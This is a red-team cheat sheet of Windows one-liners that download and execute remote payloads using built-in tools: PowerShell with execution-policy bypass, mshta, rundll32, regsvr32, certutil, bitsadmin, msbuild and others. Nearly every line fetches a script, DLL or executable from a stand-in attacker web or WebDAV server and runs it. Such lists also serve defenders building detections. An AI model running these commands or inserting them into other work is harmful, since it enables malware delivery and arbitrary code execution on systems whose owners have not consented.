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Windows - Download and execute methods

Downloaded files location

• C:\Users<username>\AppData\Local\Microsoft\Windows\Temporary Internet Files\
• C:\Users<username>\AppData\Local\Microsoft\Windows\INetCache\IE<subdir>
• C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV

Powershell

From an HTTP server

powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex"

From a Webdav server

powershell -exec bypass -f \\webdavserver\folder\payload.ps1

Cmd

cmd.exe /k < \\webdavserver\folder\batchfile.txt

Cscript / Wscript

cscript //E:jscript \\webdavserver\folder\payload.txt

Mshta

mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))

mshta http://webserver/payload.hta

mshta \\webdavserver\folder\payload.hta

Rundll32

rundll32 \\webdavserver\folder\payload.dll,entrypoint

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();

Regasm / Regsvc @subTee

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll

Regsvr32 @subTee

regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll

regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll

Odbcconf

odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}

Msbuild

cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"

Certutil

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe

Bitsadmin

bitsadmin /transfer mydownloadjob /download /priority normal http://<attackerIP>/xyz.exe C:\\Users\\%USERNAME%\\AppData\\local\\temp\\xyz.exe

References

• arno0x0x - Windows oneliners to download remote payload and execute arbitrary code